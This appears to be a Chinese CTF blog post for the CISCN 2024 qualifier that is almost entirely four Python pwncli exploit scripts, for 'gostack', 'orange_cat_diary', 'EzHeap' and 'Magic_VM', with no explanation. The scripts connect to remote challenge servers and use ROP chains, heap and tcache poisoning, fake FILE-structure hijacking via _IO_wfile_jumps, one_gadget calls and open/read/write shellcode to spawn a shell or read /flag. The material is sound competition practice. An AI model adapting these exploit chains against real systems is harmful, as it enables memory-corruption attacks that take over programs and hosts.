
pwn· 更新于 2025-12-08
ciscn-2024
先贴个 exp,有空补充详细
gostack
from pwncli import *
context.terminal = ["tmux", "splitw", "-h", "-l", "122"]
if 1:
addr = '8.147.129.121:30388'
host = addr.split(':')
gift.io = remote(host[0], host[1])
gift.debug = False
else:
gift.io = process('./gostack')
init_x64_context(gift.io, gift)
load_libc('/usr/lib/x86_64-linux-gnu/libc.so.6')
libc: ELF = gift['libc']
gift.elf = ELF('./gostack')
cmd = '''
b *0x4a0a9e
b *0x4A09C6
c
'''
# launch_gdb(cmd)
CG.set_find_area(True, False)
sys_write = 0x46A380
sys_read = 0x46A180
sys_mmap = 0x46A980
syscall = 0x404043
sh = 0x4A3423
# 4a18a5 : pop rdi ; pop r14 ; pop r13 ; pop r12 ; pop rbp ; pop rbx ; ret
rdi_6 = 0x4A18A5
rax = 0x40F984
rbx = 0x40C321
rcx = 0x420D6D
rsi = 0x42138A
rdx = 0x4944EC
fmt_printf = 0x4914C0
# 49172f : pop rax ; mov rcx, rdx ; call rsi
# 4600c7 : xchg rcx, rax ; ret
xchg_rcx_rax = 0x4600C7
# 460147 : xchg r8, rax ; ret
xchg_r8_rax = 0x460147
prax_mrcx_rdx_callrsi = 0x49172F
syscall_ret = 0x4616C9
ru(b'Input your magic message :')
payload = (
b'/bin/sh\x00'
+ cyclic(0x100 - 0x8)
+ p64_ex(0xC00000C600)
+ p64_ex(0x108)
+ p64_ex(0x4AA800)
+ p64_ex(0xC000012360)
)
payload = payload.ljust(0x1D0, b'\x00')
payload += (
p64_ex(rax)
+ p64_ex(0)
+ p64_ex(rdi_6)
+ p64_ex(0)
+ p64_ex(0) * 5
+ p64_ex(rsi)
+ p64_ex(0x564000)
+ p64_ex(rdx)
+ p64_ex(0x10)
+ p64_ex(syscall_ret)
)
payload += (
p64_ex(rax)
+ p64_ex(59)
+ p64_ex(rdi_6)
+ p64_ex(0x564000)
+ p64_ex(0) * 5
+ p64_ex(rsi)
+ p64_ex(0)
+ p64_ex(rdx)
+ p64_ex(0)
+ p64_ex(syscall_ret)
)
sl(payload)
ru(b'mess')
s(b'/bin/sh\x00')
ia()
orange_cat_diary
from pwncli import *
context.terminal = ["tmux", "splitw", "-h", "-l", "122"]
if 1:
addr = '8.147.128.251:43478'
host = addr.split(':')
gift.io = remote(host[0], host[1])
gift.debug = False
else:
gift.io = process('./orange_cat_diary')
init_x64_context(gift.io, gift)
load_libc('./libc-2.23.so')
libc: ELF = gift['libc']
gift.elf = ELF('./orange_cat_diary')
cmd = '''
b *$rebase(0xCAD)
b *$rebase(0xC52)
b *$rebase(0xE29)
b *$rebase(0xDAE)
b *$rebase(0xD57)
c
'''
def add(len, data):
sla(b'Please input your choice:', b'1')
sa(b'content:', str(len))
sa(b'content:', data)
def edit(len, data):
sla(b'Please input your choice:', b'4')
sa(b'content:', str(len))
sa(b'content:', data)
def show():
sla(b'Please input your choice:', b'2')
def dele():
sla(b'Please input your choice:', b'3')
sla(b'name.', b'/bin/sh')
add(0x68, b'inkey')
edit(0x70, b'a' * 0x68 + p64_ex(0xf91))
add(0x8a1, b'i')
add(0x8a1, b'i')
add(0x6b0, b'\x78')
show()
libc_base = u64_ex(ru(b'\x7f')[-6:]) - 0x3c4b78
set_current_libc_base_and_log(libc_base)
add(0x68, b'i')
dele()
edit(8, p64_ex(libc_base + 0x3c4aed))
add(0x68, b'i')
add(0x68, b'i')
edit(0x40, b'a' * 0x13 + p64_ex(get_current_one_gadget_from_libc()[1]))
# launch_gdb(cmd)
sla(b'Please input your choice:', b'1')
sa(b'content:', b'20')
ia()
EZHEAP
from pwncli import *
context.terminal = ["tmux", "splitw", "-h", "-l", "122"]
if 1:
addr = '8.147.133.230:30034'
host = addr.split(':')
gift.io = remote(host[0], host[1])
gift.debug = False
else:
gift.io = process('./EzHeap')
init_x64_context(gift.io, gift)
load_libc('/home/inkey/pwn/ciscn2024初赛/EzHeap/libc.so.6')
libc: ELF = gift['libc']
gift.elf = ELF('./EzHeap')
cmd = '''
b *$rebase(0x16B3)
b *$rebase(0x1773)
b *$rebase(0x18CD)
b *$rebase(0x19B6)
b _IO_flush_all_lockp
c
'''
def add(size, content):
sla(b'>>', b'1')
sla(b'size:', str(size))
sa(b'content', content)
def dele(idx):
sla(b'>>', b'2')
sla(b'idx:', str(idx))
def edit(idx, size, content):
sla(b'>>', b'3')
sla(b'idx:', str(idx))
sla(b'size:', str(size))
sa(b'content', content)
def show(idx):
sla(b'>>', b'4')
sla(b'idx:', str(idx))
heap = 0x4060
add(0x100, b'inkey0')
add(0x100, b'inkey1')
add(0x100, b'inkey2')
add(0x100, b'inkey3')
dele(1)
edit(0, 0x110, b'a' * 0x110)
show(0)
ru(b'a' * 0x110)
heap_base = u64_ex(ru(b'Wel', drop=True)) << 12
log_heap_base_addr(heap_base)
edit(0, 0x110, b'\x00' * 0x108 + p64_ex(0x110))
add(0x100, b'inkey1')
dele(2)
dele(1)
edit(
0,
0x118,
b'\x00' * 0x108
+ p64_ex(0x110)
+ p64_ex(protect_ptr(heap_base + 0x420, heap_base - 0x1B70 - 0x110)),
)
add(0x100, b'inkey1')
add(0x100, b'inkey2')
edit(2, 0x110, b'a' * 0x110)
show(2)
libc_base = u64_ex(ru(b'\x7f')[-6:]) - 0x21ADC0
set_current_libc_base_and_log(libc_base)
IO_list_all = libc.sym._IO_list_all
log_address_ex2(IO_list_all)
add(0x10, b'inkey4')
add(0x200, b'heap')
fake_IO = heap_base + 0x750
edit(
4,
0x2C0,
b'\x00' * 0x2A8
+ p64_ex(0x20)
+ p64_ex(protect_ptr(heap_base + 0x8C0, IO_list_all - 0x20)),
)
add(0x10, b'inkey6')
add(0x10, b'inkey7')
edit(7, 0x28, b'\x00' * 0x20 + p64_ex(fake_IO))
_IO_wfile_jumps = libc.sym._IO_wfile_jumps
CG.set_find_area(False, True)
orw = (
p64_ex(CG.pop_rdi_ret())
+ p64_ex(fake_IO + 0x280 - 0x9d0)
+ p64_ex(CG.pop_rsi_ret())
+ p64_ex(0x2000)
+ p64_ex(CG.pop_rdx_rbx_ret())
+ p64_ex(0x7) * 2
+ p64_ex(libc.sym.mprotect)
+ p64_ex(fake_IO + 0x280)
)
shellcode = shellcraft.open('/flag') + shellcraft.read(3, fake_IO + 0x190, 0x50) + shellcraft.write(1, fake_IO + 0x190, 0x50)
shellcode = asm(shellcode)
payload = flat(
{
0x0: 0,
0x20: p64_ex(libc_base + 0xA0265),
0x28: p64_ex(libc_base + 0xA0265 + 0x100),
0xA0: p64_ex(fake_IO + 0x20),
0xD8: p64_ex(_IO_wfile_jumps),
0x38: p64_ex(0),
0x50: p64_ex(0),
0x80: p64_ex(libc_base + 0x42946),
0x100: p64_ex(fake_IO + 0x110),
0x178: p64_ex(libc_base + 0x5A120),
0x190: b'/flag\x00',
0x1A0: orw,
0x280: shellcode,
},
filler=b'\x00',
)
# launch_gdb(cmd)
edit(5, 0x400, payload)
sla(b'>>', b'5')
ia()
Magic_VM
from pwncli import *
context.terminal = ["tmux", "splitw", "-h", "-l", "160"]
if 1:
addr = '8.147.133.80:15926'
host = addr.split(':')
gift.io = remote(host[0], host[1])
gift.debug = False
else:
gift.io = process('./ezvm')
init_x64_context(gift.io, gift)
load_libc('/home/inkey/pwn/ciscn2024初赛/magic_vm/libc.so.6')
libc: ELF = gift['libc']
gift.elf = ELF('./ezvm')
'''
b *$rebase(0x181B)
b *$rebase(0x192D)
b *$rebase(0x1B01)
'''
cmd = '''
b *$rebase(0x1CB2)
b _IO_flush_all_lockp
c
'''
payload = b''
def vm(opcode, arg1=0, arg2=0, arg3=0):
global payload
if opcode == 5:
pay = flat(
{
0x0: p8_ex(opcode),
0x1: p8_ex(arg1),
0x2: p8_ex(arg2),
0x3: arg3,
},
filler=b'\x00',
)
elif opcode == 9 or opcode == 10:
pay = flat(
{
0x0: p8_ex(opcode),
0x1: p8_ex(arg1),
0x2: p8_ex(arg2),
},
filler=b'\x00',
)
elif opcode == 11:
pay = flat(
{
0x0: p8_ex(opcode),
},
filler=b'\x00',
)
else:
pay = flat(
{
0x0: p8_ex(opcode),
0x1: p8_ex(arg1),
0x2: p8_ex(arg2),
0x3: arg3,
},
filler=b'\x00',
)
payload += pay
'''
type
1:p64
2:reg
3:addr_off
arg1 type
opcode
1 +
2 -
3 <<
4 >>
5 =
6 &
7 |
8 ^
9 POP
10 PUSH
11 init
'''
cmd += 'c\n' * 5
vm(5, 2 + (1 << 2), 1, p64_ex(0x225980 - 0x2000))
vm(11)
vm(5, 2 + (3 << 2), 3, p8_ex(1)) # 0x7fa5ca334960 (__strnlen_avx2)
vm(11)
vm(11)
vm(2, 2 + (1 << 2), 3, p64_ex(0x2220c0 - 0x2000)) # 6
vm(11)
vm(11) # reg3 --> addr_base
vm(5, 2 + (1 << 2), 1, p64_ex(0))
vm(11)
vm(11)
vm(5, 2 + (1 << 2), 1, p64_ex(0x224680)) # 12
vm(11)
vm(5, 3 + (2 << 2), 1, p8_ex(3)) # addr --> _IO_list_all
vm(11)
vm(11)
# 16 (17-1)
vm(5, 2 + (1 << 2), 1, p64_ex(0xd8))
vm(1, 2 + (1 << 2), 3, p64_ex(0x2200c0)) # reg3 --> _IO_wfile_jumps
vm(11)
vm(11)
vm(5, 3 + (2 << 2), 1, p8_ex(3)) # fake_IO + 0xd8 --> reg3
vm(11)
vm(11)
# 23
vm(5, 2 + (1 << 2), 1, p64_ex(0x368))
vm(2, 2 + (1 << 2), 3, p64_ex(0x12b43f)) # reg3 --> onegadget 0x12b43f
vm(11)
vm(11)
vm(5, 3 + (2 << 2), 1, p8_ex(3)) # fake_IO + 0x368 --> reg3
vm(11)
vm(11)
#30
vm(2, 2 + (1 << 2), 3, p64_ex(0xf4c81 - 0x200)) # reg3 --> fake_IO + 0x200
vm(5, 2 + (1 << 2), 1, p64_ex(0xa0))
vm(11)
vm(11)
vm(5, 3 + (2 << 2), 1, p8_ex(3)) # fake_IO + 0xa0 --> reg3
vm(11)
vm(11)
# 37
vm(1, 2 + (1 << 2), 3, p64_ex(0x100)) # reg3 --> fake_IO + 0x300
vm(5, 2 + (1 << 2), 1, p64_ex(0x2e0))
vm(11)
vm(11)
vm(5, 3 + (2 << 2), 1, p8_ex(3)) # fake_IO + 0x2e0 --> reg3
vm(11)
vm(11)
# 44 + 3
vm(5, 2 + (1 << 2), 1, p64_ex(0x28))
vm(11)
vm(11)
vm(5, 3 + (1 << 2), 1, p64_ex(0x1000)) # fake_IO + 0x28 --> 0x1000
vm(11)
vm(11) # 51
vm(1, 2 + (1 << 2), 3, p64_ex(0x59a70)) # reg3 --> libc.sym.system
vm(11)
vm(11)
vm(5, 2 + (1 << 2), 1, p64_ex(0x368))
vm(11)
vm(11)
vm(5, 3 + (2 << 2), 1, p8_ex(3)) # fake_IO + 0x368 --> reg3
vm(11)
vm(11)
vm(5, 2 + (1 << 2), 1, p64_ex(0))
vm(11)
vm(11)
vm(5, 3 + (1 << 2), 1, b' sh;\x00\x00\x00') # fake_IO + 0x368 --> reg3
vm(11)
vm(11)
# launch_gdb(cmd)
sa(b'plz input your vm-code', payload)
ia()
评论


